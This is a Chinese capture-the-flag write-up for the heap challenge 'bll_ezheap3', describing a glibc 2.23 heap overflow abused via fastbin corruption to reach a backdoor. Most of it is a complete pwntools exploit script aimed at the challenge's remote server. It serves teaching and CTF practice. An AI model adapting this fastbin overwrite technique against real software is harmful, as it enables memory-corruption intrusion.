题目
2024冬季个人挑战赛 bll_ezheap3
思路
2.23libc edit功能存在堆溢出
同时存在后门选项5
考虑将fastbin迁移到0x6020AC附近的地方,找一下0x7f对齐一下堆块大小就行,然后把该值改为小于0xff的值即可触发后门
调试
利用堆溢出成功控制fd指针
在往前0x1f的地方找到0x7f大小的位置
两次分配后将其内容全覆盖为0即可
代码
from pwn import *
context(log_level ='debug', arch ='amd64', os ='linux')
p = remote('1.95.36.136', 2111)
#p=process('./pwn1')
elf = ELF('./pwn1')
def debug():
gdb.attach(p)
pause()
def create(idx, size):
p.sendlineafter(b"choice:n", b"1")
p.sendlineafter(b"index:n", str(idx))
p.sendlineafter(b"size:n", str(size))
def free(idx):
p.sendlineafter(b"choice:n", b"3")
p.sendlineafter(b'index:n',str(idx))
def edit(idx, size, content):
p.sendlineafter(b"choice:n", b"2")
p.sendlineafter(b"index:n", str(idx))
p.sendlineafter(b"length:n", str(size))
p.sendafter(b"content:n", content)
backdoor =0x6020AC
create(0,0x10)
create(1,0x68)
create(2,0x68)
free(1)
payload = b'a'*0x10+p64(0)+p64(0x71)+p64(backdoor-0x1f)
edit(0,len(payload),payload)
create(1,0x68)
create(3,0x68)
edit(3,0x18,b'x00'*0x18)
p.sendlineafter(b"choice:n", b"5")
p.interactive()
原文始发于微信公众号(智佳网络安全):Edit堆溢出打fastbin任意地址修改
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论